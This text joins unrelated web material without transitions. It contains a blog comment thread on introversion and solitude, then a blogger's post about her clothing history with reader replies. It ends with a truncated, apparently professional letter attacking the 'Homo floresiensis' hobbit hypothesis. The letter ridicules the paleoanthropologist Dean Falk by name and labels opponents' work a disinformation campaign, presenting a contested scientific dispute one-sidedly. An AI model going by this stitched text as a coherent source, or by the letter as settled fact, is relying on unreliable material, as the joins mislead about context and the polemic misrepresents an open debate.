TOOOOO! I do burn out and feel exhausted and resentful even. My time alone is important, sacred and precious. I wish that I didn’t have to work for a living! But I know that my job gets me out of the house 😀 otherwise, it would be challenging to get out of pajamas! LikeLiked by 2 people If I did not have to go out, I think it would be easy to stay in, although I would have to go out at least in nature of some kind. 🙂 LikeLiked by 1 person I can really relate. I do enjoy connecting with others but I also love being alone, and I find that the older I get, the more I treasure my alone time and crave more of it. I might be a total hermit by the time I turn 90. LikeLiked by 1 person Heheh. I can now look at older people and see how it happens. Cat lady? Oh, yeah, get it. I’ve contemplated many times in my life, retreating into the countryside. LikeLiked by 1 person After reading this, I think I must be an introvert too! Like you, I want some time alone after I’ve been around a lot of people, traveling or after a long week at work. It’s difficult to explain this to people who don’t feel this way, especially if they think you are just avoiding going out. I think it’s important that you mention that you aren’t cloistering yourself from society, but rather taking some time out to evaluate and reflect on things going on in your life. Do you have to handle people who think you are just brushing them off when you just don’t feel like going out? How do you balance socializing with your own time now that you are a little older? LikeLiked by 2 people Friends who really know me, know that I’m this way and they put up a fight until they realize the battle is lost. I’ve said ‘no’ enough times and I’m never seen in after work affairs that my coworkers don’t bother asking me (but the sweet thing is they ocassionally do, just in case I’ve changed my mind and I know I’m always welcomed). And I’m okay with all of that. If something is important like a birthday or going away party, then I make the effort. I’ve been to more ‘new teachers welcoming shindigs’ than I’d like to count. I do like my friends, love them even more for putting up with my ways, actually. But it’s hard sometimes. There’s a girl at work that is just always asking to hang out and I’m like, “hey, I’m writing a book. It’s not you, it’s me. I need to get stuff done.” Because when I was social, I didn’t write as much as I should or could have. I get more done by closing the door. Hi. Just would like to share that you can try to see which of these personalities are you: . Would be easier if you could take the actual test, but I know there’s a fee. BUT you can always read up on the 16 personalities. LikeLiked by 1 person Oh, yeah, we really love our easy answers. Black and white ones. Maybe if we took more time to reflect, we’d see more grays. We’d have more time to think, to consider how to be proactive rather than, as you say, simply reactive to the crowd around us. Maybe that’s why I hate crowds. They become mobs. I think because we live in the Age of Information that we are totally overloaded and we assimilate all that information by simplifying answers and solutions. It takes much more time and energy to research (hello, college days!) and have a think about stuff (especially with social media at our finger tips). The psychology of crowds is an interesting thing. I generally don’t like them either. I remember trying to see the NYC New Years Eve ball drop, my friend and I decided to bail once it got too cold and crowded (esp. with drunks). Music crowds can be great, but I usually have to step away because I don’t like having people too close to me. Hahahah. Don’t read into that! I don’t mind being alone. In fact, because I work from home, I am alone all day. I normally don’t even need to open my mouth all day, unless the dog does something and I yell at her… I don’t have many friends here, so my weekends are not exactly very social either. Normally it’s just C. and I! I like reading so that’s what I do mostly on my spare time. I wouldn’t mind having more of a social life though! LikeLiked by 1 person There have definitely been times when I have felt a bit shut in and not as social as I’ve wanted to be so I can relate. But it can be challenging to find the right people. We’re not drinkers, partiers, swingers (hahaha), so finding folks who are on the same page makes us seem anti-social I fear. You got it absolutely right. I don’t get along too well with the partiers and drinkers and also I don’t have too much in common with the mums (also they don’t have much time to hang out anyway). I’m totally in between hahaha. LikeLiked by 1 person As an introvert myself too I’d say there are positives and negatives to it, and you’ve done a fantastic job with this post, it’s very thought-provoking! Caz 🙂 LikeLiked by 1 person Thanks! Appreciate you saying so 🙂 LikeLiked by 1 person I loved this post, Lani. I could really relate. I crave to be alone sometimes. I love being home and don’t look for opportunities to go out in the evening. The exception would be time with family or my dearest Thommmee. I never considered myself an introvert but after reading this I may have become one- andI love it! LikeLiked by 1 person Heh, heh. There is the running joke that we introverts should start a club, but of course, we’d never meet. 😛 Yeah, I love being domestic. I like just puttering around home, cooking, cleaning, reading, writing and living in my own little world. Nature is important, so my dream is to be able to walk in a big beautiful park again near our home, and if we were more settled we’d have pets. This is amazing! Trust it to be you who opens my eyes to something new about introversion. I actually had no idea there were four different types! But it makes total sense. I’ve always known from personal experience that many introverts seemed to be extroverts (me included), but would never have classified themselves that way. I immediately went and read all about it – fascinating! And funny, because when I took the test, I scored fairly evenly across the board, but strongest on Thinking, which I assumed anyway. Yes, I love to be alone…mostly. It’s funny, because 99% of the time, I would prefer to be alone than in any kind of company. I could never fully, completely relax with anyone, friend or family. But recently, I’ve been kind of…lonely at home. I’ve lived alone for two years now, and maybe I’m getting my fill. I find myself wanting to go out on weekends, a feeling utterly foreign. I want to hang out with coworkers and share stories and small talk. It might be because we don’t have students, so my days are less hectic, and that once I get students again, I’ll go right back to needing alone in the dark time all the time…but maybe the seasons of my life are changing. Anyway, yet again, you’ve given me food for thought. I’m glad the world is a little more open to us introverts, and we’re slowly starting to accept ourselves too! Introvert hugs! LikeLiked by 1 person I like that we go through phases, sometimes needing that outside contact and other times needing to retreat. I think I really do need a balance because otherwise, I’m inside too much. Which I should mention has a lot to do with living in Cambodia (a very hot climate) and being an expat, too. So, I think it’s natural that you’d want to be social especially with folks who understand what it’s like to be a foreigner in Korea. It’s funny, I have a student from S. Korea right now and I’ve told her I’m going to find her if I ever visit! Glad you liked the post 🙂 Funny bc I have ready a piece on my own hermetic mind to share in a wk or so. I appreciate the part about needing to download yourself, esp after a disappointing fall-out. Probably bc after such an episode, we are more vulnerable to defining ourself by how our friend might have viewed us or we might run our sense of worth through the grid of the unsavory experience when are in fact so much more. LikeLiked by 1 person Yes, we are more vulnerable, aren’t we? So it makes sense to sit with that, but there are plenty of others who just jump right back into the game. Hahahahha. All I can say is I’m hearing you Lani lol. Me to a Tee. Best wishes from “quiet” Chumphon. 😀 LikeLiked by 1 person I have my dog to thank for getting me out of the house at least twice daily, otherwise I’d probably see the light of day maybe once or twice a week at best. I love the days with no commitments, where I spend the precious hours doing things I really enjoy, like baking or reading, or just catching up on sleep. I used to feel like I was somehow broken because I prefer being a homebody to going out and engaging in an activity (or two). I dunno… I guess with age comes acceptance of self, and this self of mine loves to sit around in jammies all day and I don’t care if others think that’s an unproductive use of time. It’s like what my husband and I used to say to each other at the beginning of every summer, “we HAVE to make the most of the summers; they’re so short!” So we’d have these grand visions and plans of traveling or taking trips into nature to do camping/canoeing/hiking. Then comes the cold and snow and we’re like, “oh, we did none of that, oops LOL”. We stopped thinking that way this year because the truth is, we were only planning those things because we felt we had to do those things, lest we “waste” away our precious summer days. This summer we’ve been enjoying quiet weekends spent doing our own thing and taking it easy. LikeLiked by 1 person Part of the reason why I resented the American work week was I never felt like I could decompress. After running around on Saturday doing chores and getting things done, you only really have one day, Sunday. And that’s simply not enough, hence the rise of ‘working at home’, entrepreneurs, digital nomads, expats and the “7 Hour Workweek”. I think we’ve done a great disservice in not allowing Americans more time off. Other cultures and societies have so much more and I beleive they are healhier and happier for it. LikeLiked by 1 person So true! I see my husband slugging out 50-60+ hr weeks and I think, why? In this age of technology, you’d think people could work less but it’s just the opposite. Constantly connected and an expectation that you’re reachable 24/7 via email/text. It’s awful. At least in Canada we get a decent amount of vacation time and 1 year mat leave, but our neighbours to the south get next to nothing. They have a long way to go as it relates to the working culture! LikeLiked by 1 person Yup. Aaaaw…You know I love discussing about personalities. Well, I’m kind of complicated, too. I had always believed I was an introvert until I took the personality test. I’m an ENFJ and having read descriptions of the personality, I became convinced I’m not an introvert after all. I love being with friends and people I like. That said, I have this side that confuses me. I can stay at home and just read the whole day and surf the net. I had gone on days like that in the past. I guess that was because I was more interested in spending time with books rather than the people around me whom I didn’t like and vice-versa. LikeLiked by 1 person I hope we naturally do what we need whether it is spending time with people who care about us or getting the ‘alone time’ we need. These days, filled with distractions and technology, I just think that we need more quality alone time to contemplate and reflect more than ever. LikeLiked by 1 person True. These days, my brain is so whacked. Dunno what to do first, I end up not doing anything I need to do. Be patient and kind to yourself 🙂 LikeLiked by 1 person Trying… 🙂 LikeLiked by 1 person There is sufficient evidence by counsellors for young people, especially children and teens, that way too much computer/iPhone screen time doesn’t expand their real person social skills / some depression. It is different from an introvert reading tons of books (like myself as a child growing up) because online tweeting, FB to others who you only know by online personalities masks true in person relationship building. It hides or amplifies the certain things on online personalities. Learning to be alone, content without the Internet communication/need to check online world can be helpful for a calm and peaceful mind. My partner and I self-define ourselves as happy, social hermits. We each like talking lots with a person in person and spending time. But happy to go off cycling solo or on solitary activity for many hrs. I personally need to step outside for an hr. or so for a walk or bike ride. It helps me to feel the outside energy or be exposed to Nature in all its unpredictability / glory. I do think the comfort of solitude might be partially influenced by birth order. I am a first born and so is he. I’ve noticed a lot of other first borns, generally are happy with an solitary activity/passion and can amuse themselves for hrs.. They don’t need tons of social interaction/constant attention from others around them. LikeLiked by 1 person Interesting. I’m first born, too. Makes sense. And I like your term ‘happy social hermits’ that describes us to a ‘T’! Stepping outside into pristine nature is also very important. I miss clean parks and hiking in the mountains or along a nice trail. But I suppose as long as we try to be mindful and appreciate nature in our own ways that’s what counts, too. Cheers, Jean. LikeLiked by 1 person I have a tendency to gravitate towards being alone, but I’m not sure if it’s just because it’s something that I’m used to or if I’m socially introverted. It really depends on my mood! I spent a lot of my twenties living on my own, so I got used to my own company. Learning to live with myself. And be happy on my own. I think that everyone, at some point in their lives, should live on their own just to get to know themselves. Now, I’m on my own in the evenings every day, what with the husband working nights. Friends have moved away. And I’m back to that place I was in my twenties, being home in the evenings, on my own almost every day. If I hadn’t had the practice of being on my own, life would be tough right now. It’s funny, working remotely and then getting together for work for an intense week of work and socialising is tiring. It’s funny, because there’s a few colleagues who feel the same. The need to just retire to our own hotel rooms after a day and a lot of the evening of being with people. It can be exhausting. But if I’m in the right mood it can be just what I need. LikeLiked by 1 person I totally agree. Living alone is a great way to get to know yourself. Often, we figure that out after we’ve lived with someone. I spent a lot of time alone as a kid, and growing up in general, so it’s comforting, I guess. Yeah, work is for socializing. Colleagues think I’m a very outgoing person because I like to be in the thick of it at work, but that’s just me getting my socializing groove out, because when I’m not at work, I’m done! LikeLiked by 1 person Awsm post LikeLiked by 1 person Cheers! Very therapeutic read. Just beginning to practice meditating and being alone. I did not realize the power of this. It is necessary for sanity! LikeLiked by 1 person Absolutely. Good luck with the practice! I still do it everyday, but let me tell you some days are easier than others 😛 LikeLiked by 1 person As you said there are differing types of introvert and I would put myself in the ‘social introvert’ category. I do love my time with friends and can enjoy the large group setting from time to time, but I definitely need my alone time to refresh and recharge and I know that I don’t get it near enough anymore LikeLiked by 1 person I understand! I’m trying to really soak up my alone time so that I make the most of it. Thanks for stopping by! LikeLiked by 1 person

Clothes and I have never had any problems. Clothes have taught me a thing or two about penny-pinching, distorted body images, and beloved jackets. And just like how you change on the inside throughout the years, “my style” has evolved too. [Thanks, Marta for the inspiration for this post.] Childhood Running around with the boys, I usually played outside, and didn’t pay much attention to my appearance. I don’t have fond memories of outfits or remember wanting a dress or a shirt or anything like this. I was more obsessed with Barbies, G.I. Joes, Star Wars action figures, Legos, and arcade games. Teenage Years I grew up during the ‘80s which meant neon socks in jelly shoes, Madonna-inspired lace, bracelets, and jewelry, diagonal stripe mini dresses, shoulder pads, and a wall of crimped, permed, teased Aqua Net flavored hair which fashionably framed your face. The one item of clothing that defined my teenage years (and in many ways my identity) was my acid-washed denim jacket. [Why yes, I had a knock-off Member’s Only jacket, too!] But this wasn’t an ordinary jacket, it was cropped so it sat above my waist, and was covered with heavy metal band patches. I wish I still had it. An obscenely large Megadeth patch in gold and black spanned across the back shoulders, a Vic Rattlehead (“official mascot” aka skull) patch of the metal band was stitched on the back. On the sleeves were a Guns ‘n Roses and an anarchy symbol because that’s how bad-ass I wanted to be. I took the military name patch from my father’s US Air Force days and sewed it on the front and wore his dog tags. Young Adulthood Like most young women, I went for the way things looked, not how they made me feel. I wore uncomfortable bras, panties, pants, and shoes (oh, what we put our poor feet through). I was also clueless as to what looked good on me. My mom wanted me to dress a certain way, and I’m not sure what took me so long to figure this out, but she wanted me to dress the way she would have liked if she had my figure. I was also told not to wear fitted clothes and since I felt awkward about my body, I often wore loose and baggy clothing. But I learned two important lessons during this time. One would take a longer to fully enter my fat head, but the other stuck with me and it was this. I found (at a secondhand store) and bought a beautiful red vintage double-breasted cashmere coat while on holiday for about $50. It was the kind of material I loved to run my hand over inside and out. I didn’t even like red, but this hue was nice, and I felt like one of the Beatles when I wore it. The trouble though was I never wore it. I wanted to save it for a special occasion. The coat came up when I was with my teacher training colleagues. My friend Mia said, “Why are you waiting to wear it? Wear it now. You’ll never wear it if you wait. Wear it tomorrow to class.” Wearing head-to-toe red took some getting used to, some guts, but in overcast Oregon, I stood out. Folks complimented me, told me that the color cheered them up, and later when I was a teacher on the playground supervising my students, I was easy to spot. The other lesson was I truly did not know how to shop for clothes. I didn’t understand that just because it looked good on the rack, that didn’t equate to it looking decent on me. When I went shopping with some girlfriends, they helped me purchase two blouses, one of them fit well, and it took a lot of convincing from them to get me to buy it. Moving abroad My partner describes how I used to dress as “you were a head floating on top of a swath of fabric” or something to that effect. We met teaching at the same school and I wore mainly dresses. But once we started dating, he had a remarkable influence on the way I dressed. As an artist, he knew what looked good and assessed what I needed – and it was a waistline. He also began to veto anything my mom sent me. I had been a big fan of consignment stores since high school theatre days when we’d scour Goodwill for costumes. When I moved from a tropical climate to a cold one, I needed a winter wardrobe quickly so secondhand stores saved the day. Then my friend Gina taught me to hit up the stores near universities at the end of school terms as that’s when students get rid of a lot of excellent clothes, sometimes never been worn, brand name beauties. So when I became a teacher and needed a teacher’s wardrobe on a budget, it was thrift shops again. There used to be a fantastic one in Chiang Mai and one day the BF inevitably joined me. He made me try on dresses that I never would have picked out. But then I’d leave with 3-5 dresses, wear them to work, and receive compliments after compliments from staff and students alike. There’s a price to pay, mind you. I have to listen to him make a game show buzzer sound whenever my hand hovers near a dress that I think will look good on me. [Do you know how embarrassing this is with other people near by? He’s quite loud.] Also trying on clothes in SE Asia’s humid heat is no picnic either. There is no A/C in secondhand markets or consignment shops. You have to be willing to look through a lot of duds. Are there stains or missing buttons? Is the dress lined or see-through? But the worst is when you can’t try it on and you have to use your best judgment, but for less than $3 I can donate it and try again another time. What’s your relationship with clothes? 44 replies on “What’s your relationship with clothes?” I have a very relaxed relationship with clothes mostly because I never had any body hang ups and the fact that I’ve been the same size for almost a decade. What took me too long to figure out was that I should stop buying inexpensive clothes that would inevitably fall apart in a few months and rather, invest my money in good quality clothes that would last me a good number of years. Once I made that shift, I found that I needed to buy less- even if it meant I spent more- does that make sense? Anyway everyone went through that baggy tshirt phase in the 90’s, I don’t know why we were so afraid of having a shape! LikeLiked by 2 people You’re a rare woman indeed if you’ve never had any body hang ups! Wow. Good for you. As far as buying more expensive clothes, I think most folks figure that out throughout life. We must learn the hard way, it seems! Shoes are the items that I cannot skimp on anymore – too important to have that comfortable shoes especially in SE Asia where the terrain is uneven and the floors are all tiles! LikeLiked by 1 person I can so relate to your journey with clothes. I grew up a tomboy always interested in sports and being outdoors. My fashion choice till college was tomboyish. Plus I was very conscious about my body so I chose to wear lose, baggy clothes. But over my 20s, I developed this craze for clothes. I started shopping a lot. But it’s never cheap! So my favourite shopping to do is deal shopping during sales. 🙈 LikeLiked by 2 people Hahahhaa. We all love a good sale. 😛 I was just never one of those women who had TONS and TONS of clothes. Partly because I move so much but also because I don’t like to go shopping. I mean, it’s okay, I don’t mind it, but it’s also exhausting – I don’t know, jeez, now that I think about it. I suppose it’s not something that I like to do as much as other folks. Ah yes, a waistline. What’s that again? Growing up in the snowbelt of Ohio, coats were key–and I still think in the colder months coats can make an outfit. Since I was a ballet dancer up to my college years, clothes were really just a uniform. Then boring office clothes until I had kids. Now, here we are in pandemic 2020 and my uniform is pajamas and a bathrobe: the freelance writer uniform. My sister works in an office (usually) and she swears by dresses for their ease. In the winter she wears them with tights. I love thrift stores–where I got my black leather jacket at 19–and need to hit some up once I can no longer spend every day in my robe. I love to hit a Goodwill in the swanky part of town–good stuff! “Now, here we are in pandemic 2020 and my uniform is pajamas and a bathrobe: the freelance writer uniform.” – hilarious. OMG. And yes, Goodwills in good neighborhoods are the best! I forgot 😛 Yes, dresses are easy, no matching of tops and bottoms. It also feels nicer. I like looking more put together especially in this part of the world where appearances are everything. Had no idea you were in ballet! Wow. Some stories you’ve written about no doubt! Love your old pictures. I never had much issue with size. Except for my height, nothing much has changed since high school. I still love baggy clothes. It is hot in India for most of the year. I can’t breathe easy in fitted outfits. So only large sizes for me. I do wish to dress up more at times, then I give up on it mostly. Loved reading your journey with clothes. Hope I find my look soon. LikeLiked by 1 person Thanks. It was fun to write and put this together. I wish I had more old photos but they are all at my mom’s. It’s funny what you say about India because Thailand is quite hot and humid too. Many tourists come in tank tops and short shorts because of the weather, but what I’ve learned is you don’t want your skin touching the moto or taxi seats, the outdoor restaurant seats, etc. It’s way more comfortable to not get that sticky feeling and wear something looser and longer. Clothes that breathe – yup, on board. LikeLiked by 1 person I forgot you live in Thailand. Then you know the feeling even better then me. LikeLiked by 1 person But interestingly, hot climates like to wear jeans. I never understood that! And Cambodians favorite color is black and they like to wear sweaters too! Haha that’s weird but even my fav is jeans and color black. LikeLiked by 1 person 🙂 I’ll buy clothes if I have to. Rather buy almost anything else. That’s about that! LikeLiked by 1 person Hahahhaaa. Spoken like a straight male. Yes! Here’s a good tip (!) – if you go shopping and find something half decent, buy 2 or 3 of the same item. Time saver! LikeLiked by 1 person Hahahhaa. Yes, I know that, thanks. 🙂 Ah. It seems you knew all my clothes shopping tricks then. LikeLiked by 1 person I used to sew for about 15 years before cycling love bit me. I still have my sewing machine…which includes the face mask I whipped up 2 months ago. Modelling it on my latest blog post. Because I did used to sew tailored shirts, jackets, etc., I am a somewhat picky consumer in terms of quality, fit, etc. I still wear clothing from even 15 yrs. ago. Since I would be retiring in just a few years, the dressier/business clothing is not being replenished with new stuff. LikeLiked by 1 person That’s a damn good skill you’ve got there. You can easily take anything home and alter it too! My mom would take new purchases and reinforce buttons and such. You could probably repurpose your old work clothes after you retire. Now I must go visit your blog and see you modeling your homemade mask 😀 What a fun topic (and interesting photos–I want to see that red coat! Though that last photo was a great one to end on.) My relationship with clothes started similarly with yours: a tomboy more interested in playing than dressing up, then becoming a self-conscious chubby teen wearing loose things. In college, I wore fitted shirts and jeans that mixed and matched because it felt like I had more important things to worry about. Then I graduated and worked in a job that needed me to dress in a polished way for clients. I started having fun with fashion, trying everything and shopping way too much. (Which you probably noticed in my old posts on hoarding lol.) These days, I know what I like and I stick to it. I’m often told my clothing style has a Japanese influence, an artsy/nerdy vibe–the students I mentor call me a Jedi lol–and is very minimalist. All this feedback is interesting to me as it aligns with a theory I have that our experiences and passions often unintentionally show up in our wardrobe. Anyway, thanks for sharing and starting this conversation. It’s fun recalling the different ways clothes have been a part of my life. LikeLiked by 1 person Yes, I have noticed your past tendency to SHOP, young Daisy. 😀 While I haven’t gotten the Jedi thing, I’ve been told that I dress Japanese too! This is such a high compliment, don’t you think? Also, I’ve gotten librarian. 😛 I like your theory – reminds me of that saying you can tell by the way a person dresses what their best decade was based on how they dress. Glad you liked this, thanks! LikeLiked by 1 person A very interesting journey, haha. I loved the pictures! 80s hair! Your grandma looks absolutely amazing! And you look great in that dress. I should look for my early 2000s pictures but I’m kind of scared hahaha. I was into baggy trousers (I used to get them in the men’s section) which would sit in the middle of my bum so I’d be showing my underwear, yes (no thongs or lace, though). I’d pair them with tight tshirts which left my midriff exposed. To top it up, my hair was super short and dyed red. Oh god no, I don’t want to see those pictures anymore, hahahaha, so embarrasing. I don’t think I’ve found my style yet (can’t be bothered to look much either, too much work and not too many options in China), but things started to definitely improve in my late 20s. However I never needed to dress up for work. And now, working from home, I only wear my “nice” clothes on the weekend… Last Saturday I went to a clothes swapping event and it was a lot of fun, I’ll post about it soon. LikeLiked by 1 person Ha! Your description of your 2000s attire had me laughing. I can see it. Oh, Marta, Marta. 😛 But what am I talking about! Look at my stupid hair! The clothes swap sounds fun. I particularly liked it when an expat leaves and you get to rummage through all her things. I’ve gotten many great clothing items that way. I remember a dark blue velvet dress my mother made me when I was 8. From then on I wished for luxurious clothes. I had to search for them at the thrift shops and managed to find one or two. I always wanted to dress artistically, not main stream. But, work and life wouldn’t let me to the extent I wanted. To this day I love a maxi dress! In my 50’s I wore Indian Kurtas and Salwar Kameez. I would still wear them if I could find them in Portugal. The Indian women have made dressing elegantly while still feel like you are wearing pajamas an art form. When I lived in Chiang Mai I remember going into a shop, the woman looked me up and down and said with disdain, “Big size over there!” I am only 5 ft and a size medium. I am 65 and for the past 20 years I have had such a hard time with fashion. Either is is for someone 22 or 65. I don’t want to dress like I am 25 and I sure as hell don’t want to dress like a blue hair granny! I do tend to bitch about women’s clothes. “Where are my damn pockets?” So I have a couple of men’s jackets because they have all the pockets. Now that I am retired I guess I don’t worry that much anymore and living at the beach my wardrobe is very practical. Although I still love to touch fabrics and look for that unique item that makes me feel special. LikeLiked by 1 person OH, we better not get started on what is considered ‘big’ here in Thailand. Plus, if you ever did come back you’d be so surprised by how large Thais have become. I like your pj’s as an art form observation. And the lack of pockets for women’s clothing. When I found a teaching dress with pockets it was like SCORE! pockets are so useful for taking things from students 😛 and I hate that women’s jeans have fake pockets, like we don’t’ use them or something. Yeah, I’m very conscious of not looking like I”m trying to dress too young. Like you, I don’t want to look like a Q-Tip, but I also don’t want to be one of those women that you’re like, “oh dear, someone still thinks they can pull that off” either. Beach wear is casual – so you’re all good 🙂 What a fun post, Lani. I love linen clothing, and loose tops. A friend once described my style as casual chic. I want, above all to be comfortable, but in a stylish sort of way. No sweatpants for me. And I do try to buy better quality clothing that is sort of timeless (or as timeless as one can get) these days. I do remember my teenage years with permed hair, neon colours and shoulder pads. I tried my best to destroy all those photographs – they are clear and nightmarish enough in my head! My sister regularly threatens me with posting some on Facebook. I simply cringe and give in to anything she demands. 😉 LikeLiked by 1 person Hahahaha. Blackmail! So that works on you, huh? Interesting, very interesting *strokes chin* Linen is nice, but I hate all the ironing. Maybe in warmer heat it’s not so bad. I don’t know, I just haven’t bought linen in ages because I packed a linen dress to go to a wedding assuming the friend I was staying with had an iron (you know a basic item!). NOPE. He did not. UGH. That was fun. Can you put me in contact with your sister? 😛 Hahaha. Not a chance with that last request, Lani. I don’t need more people ganging up on me. 🙂 And with no evidence I can simply claim I never had bad taste in the 80s. Yip, ironing is definitely the down side of wearing linen. I use that time to listen to podcasts, so I’ve come to ‘love’ ironing. I have a French friend who says wrinkly linen is very chic. So I guess you looked very chic at the wedding. 😉 LikeLiked by 1 person Ha! Thanks. 😛 LikeLiked by 1 person The double Swatch watch! Now THAT is a blast from the past. In the same era, I also used to wear two layers of crewneck long-sleeved tees from the Limited — I specifically remember having one pink and one red — with two layers of matching socks in the same colors. The 80s were wild. Also love the classic 80s elementary school pic — another blast from the past. I definitely found you right away. This is a fun post to read Lani – I love your writing! My relationship with clothes is: Provided it covers what it needs to then I don’t care much what anyone thinks. I’ve been going to work all week in badly torn jeans with no knees in! LikeLiked by 1 person Well distressed jeans are all the rage over here, so you’re considered fashionable somewhere. 😀 Thanks so much! They are occasionally fashionable here too but my wife does not seem to appreciate that my jeans are trendy…. LikeLiked by 1 person 😀 LikeLiked by 1 person Wow! Your grandparents looked amazing! How come their generation had so much more style than ours? 😂 Love your colormatching with Barney. 😉 I was a tomboy kind of girl and discovered fitted clothes only in my late teens. 😂 My relationship with clothes is very relaxed – I go for comfy rather than for stylish these days, especially with shoes (Birkenstocks 😉). Every now and then I buy a piece that feels incredibly decadent, like a red leather jacket last year and then struggle wearing it. 😂 Oh, btw were Fruit of the Loom hoodies a thing too in your teens? One of the clothes choices I’m quite embarrassed to look back to. 😂 LikeLiked by 1 person My grandma had my father when she was quite young, 15 yrs old, so that’s why they look close in age, but yeah, that’s my grandma and father. 😀 I do wonder where those groovy days have gone, but women did spent SO much time on their hair that I can’t imagine doing that anymore. But I’m nostalgic for those days when men wore hats and suits and women wore nice dresses and lipstick. But boy, do I love my lounge-wear too… Barney was an accident by the way 😛 Yes, we liked our hoodies. I think every teen likes those, so comforting and safe feeling. LikeLiked by 1 person Oops! 😂 You must tell me her secret for looking so young and ravishing – it can’t just only be the hairdo? 😁 Oh yes, also feeling nostalgic about those days, my grandfather almost always wore a suit and hat and looked fabulous, like a film star really. Andy grandma too – the hat, not the suit. 😉 I’ve gone off lipstick for the past months since wearing masks kind of makes it irrelevant – so much for wearing make-up only for oneself, right? 😉 LikeLiked by 1 person I enjoyed reading this post so much, Lani! As always, your humour and no-nonsense approach rings through, entertaining and also bringing memories to mind, as you provoke me to think about deeper issues. Clothes are a peculiar thing – as are mothers who dress us. They leave indelible fingerprints on us which we don’t discover till much later in life. Complicated, yet so much a part of us. My favourite article of clothing are boots – technically, they are shoes, but shoes complete the outfit, right? Unfortunately, I have lived most of my life in warm climates, so I only really could enjoy them for about a decade in the ’80s, when I lived in HK (during the cooler months) and in Texas (also during the cooler months). LikeLiked by 1 person Oooo. You are reminding me of these great knee high black boots I have. Yes, like you I’ve lived primarily in tropical climates but when I was in cold weather, I loved my winter wardrobe – scarves, sweaters, coats, boots!!! Glad you enjoyed the post, thanks so much! 🙂 Now that I think of it Lani, I do also like so much better the colder weather. One of my favourite things is to spend Christmas in London with our UK family. LikeLiked by 1 person Haha! I was also obsessed with denim jacket in my teens. I had this mid-blue one that I wore everywhere I went. It would keep me warm in air-conditioned shopping centers in Malaysia in Singapore. You must have quite a style to pull off the acid-wash denim look. Back then I remember such kind of denim was for the cool kids 😀 These days I am a very casual dresser. It is almost always jeans everywhere, such as to the grocery store and hanging out with friends. Even at work I can get away with dark black jeans – they look formal enough if they don’t have faded rubs. In summer I prefer a simple T-shirt and during the cooler months I like to wear a knit – which I guess is typical for people living in four-season climate. LikeLiked by 1 person I think I was a wannabe cool kid rather than an actual cool kid. I was also ganged up by bigger teenagers for wearing what I wore when I was walking home one day. 😛 Yes, you struck me as a casual and comfortable dresser. It’s nice to feel relaxed, so I understand. When I’m not working, I’m in lounge wear at home or non-fussy clothes doing errands. I hope at some point the teenagers ganged up on you because they wanted to copy how you dressed… Lol I am casual but also the kind to wear the same kinds of clothes for years and years 😛 LikeLiked by 1 person Isn’t that what high functioning geniuses do? Wear the same things everyday? 😛 LikeLiked by 1 person

Open longer piece in the Times of London (), written several days ago on the evolutionary connection of Hallucinigenia to the extant velvet worm, was a succinct report on an elegant and long overdue bit of science: ( ). It is gratifying to see solid, objective closure given to scientific problems that in previous years were presented as fabulous (in all of that word’s denotations and connotations). Hallucinogenia was part of the Burgess Shale fauna around which Stephen J. Gould spun imaginative but sometimes unlikely tales in Wonderful Life. But even lost, lamented Steve at his most creative extreme is likely not to have matched the tales that have been invented and merchandised this decade past about “Homo floresiensis,” aka “The most important find in human evolution for the last 100 years.” Just below the Hallucinogenia story for some reason you inserted an untitled paragraph, excerpted here: “? Scientists have dismissed as nonsense new research suggesting that the so-called hobbit man of Flores was simply a modern man with Down’s [sic] syndrome….The paper failed to include any comparisons between people with Down’s [sic] syndrome and the fossil [sic]. Professor Dean Falk…told The Observer: ‘If it had, you would see clearly that they look nothing like the Flores specimen. The idea is nonsense.’” No scientists are named in your excerpt other than Dean Falk, who is part of a very small group of paleoanthropologists who believe that science is advanced by spreading rumors to journalists rather than gathering data broadly instead of narrowly, and only then testing hypotheses, before making nonce comments. It is impossible to stop that sort of behavior, but neither must one credit it. Despite Dr. Falk’s claims, it is the “hobbit” story that, in the context of evolutionary biology, is an absurdity, however persistently and passionately defended. As an aside, I believe that hobbits and dwarfs have their places, but it is in literature rather than as inappropriate ornamentation used to divert attention from deficient inferences that rest chiefly on social validation: see my short essay on “Dean Falk’s Flores Circus” at and posted separately on the site of the British Museum of Natural History, NaturePlus as well as elsewhere. I am a great fan of J.R.R. Tolkien’s work as is my wife Carey, a Medieval paleographer who has done serious research in the field including, among other works, publication of the 14th Century Thomas Castleford’s Chronicle in the Early English Text Society series. Since we work together we have been to the Liang Bua Cave multiple times, with Maciej Henneberg, as well as having seen and studied with other members of our group the bones from Flores and the small people still living there. All of us, knowing some literature and science, feel that when we visited Flores we would have recognized a hobbit. We didn’t see any, dead or alive. Per the title of the press release that accompanied our group’s previous paper on the subject (by Jacob T, et al.) in PNAS, “No hobbits in this shire.” So far, two framing hypotheses have been offered by the Hobbiteers to explain the reported characteristics of the alleged new hominin species (sorry, though never a member, I am of the Mickey Mouse Club generation in the U.S.A. so see many immature behavioral resemblances between the Hobbiteers and the Mouseketeers, though from my preteen years I still think that Annette Funicello was perkier than any of the present Hobbiteers). The hypothetical taxon “Homo floresiensis” first was said to have descended from Homo erectus during long isolation on the island of Flores, with resultant dwarfing to tiny body and brain size. Subsequently an alternative rationalization was offered, deriving the hypothetical new hominin from an unidentified African ancestor that already was characterized by small body and brain size before it migrated between one and two million years ago to Flores over an unknown route, conveniently leaving no remains anywhere along the way. These framing hypotheses are mutually contradictory. Moreover, both are logically indefensible, together or separately, and in any case neither fits all of the biological and cultural evidence without a lot of selective presentation of data, concealment of inconvenient elements, special pleading, and frantic ex post facto jury-rigging. The latter origin myth (stealth migration from early Africa to Flores) is effectively untestable aside from the Godot strategy: waiting forever for something, anything, to be found along the way; while the former trope (island dwarfing to the extent of separate species status) has been tested by the discoveries on Palau, by which hypothesis test “Homo floresiensis” failed. Palauans from the same broad regional (Australomelanesian) human population of several thousand years ago had very small bodies but brains within modern range for Homo sapiens. Consequently, the LB1 skeleton, with the only known skull from the Liang Bua Cave site, is one off, or a “singularity” as we have termed it, drawing the parallel to mathematical functions having a point that “blows up” under certain circumstances (in this case, that circumstance being examination without rose-colored glasses or the Mallinkrodt Institute CT scanner that eliminates problematical anatomical parts and substitutes impression for quantification). Failure of the Island Isolation framing hypothesis appears to be why the Stealth Migration hypothesis then was invented to account for the unusual bones and unsurprising stones from Flores. Against this background we have framed and tested an alternative hypothesis: that the Liang Bua Cave skeletons represent a population small in body size but otherwise normal except for the LB1 specimen, which is developmentally abnormal. Because of the alternative framing hypothesis that we have offered, our group finds itself being smeared (a tacky enterprise which your paragraph has furthered to some extent, however unintended). Our main choices are either to ignore a determined disinformation campaign that operates at the edge of slander 